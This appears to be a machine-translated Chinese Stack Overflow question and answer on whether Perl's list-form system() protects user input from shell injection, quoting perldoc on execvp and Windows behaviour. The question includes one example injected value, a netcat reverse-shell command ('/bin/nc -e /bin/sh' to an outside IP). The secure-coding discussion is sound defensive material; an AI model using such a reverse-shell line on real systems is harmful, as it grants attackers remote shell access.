system()
是一个用args'n'执行文件的函数,意思是'n'是一个实数.
如果我们有:system("path/to/program","firstArg","secondArg",...);
第二个参数内的字符串将始终传递给"path/to/program"
右边的字符串?
如果我喜欢:system("path/to/program","legitArg",$userinput);
- 是否$userinput
容易受到代码注入?或者它将作为字符串传递给path/to/program
?即使$userinput="some_kind_of_escape /bin/nc -e /bin/sh 10.0.0.1 1234"
?
如果不是,我怎么能参数化这些论点呢?
更新:根据下面的答案,我从stanford发现了这个:使用perl system()函数
这是(几乎)正确的用法以避免shell注入,因为Perl将用于execvp
直接执行给定的程序,而不通过命令shell传递参数.
来自perldoc system
:
如果LIST中有多个参数,或者LIST是具有多个值的数组,则使用列表其余部分给出的参数启动列表的第一个元素给出的程序.如果只有一个标量参数,则检查参数是否为shell元字符,如果有,则将整个参数传递给系统的命令shell进行解析(在Unix平台上这是"/ bin/sh -c",但是在其他平台上有所不同).如果参数中没有shell元字符,则将其拆分为单词并直接传递给"execvp",这样效率更高.在Windows上,只有"system PROGRAM LIST"语法才能可靠地避免使用shell; 即使有多个元素,"system LIST"也会在第一个spawn失败时返回shell.
请注意有关Windows系统上的system LIST
vs 的警告system PROGRAM LIST
,因此如果您的代码将在那里运行,您应该使用:
system {"path/to/program"} "program-name", "legitArg", $userInput;
Run Code Online (Sandbox Code Playgroud)
当然,如果正在执行的程序接受用户提供的参数并将其传递给shell本身,那么什么都不会保护您.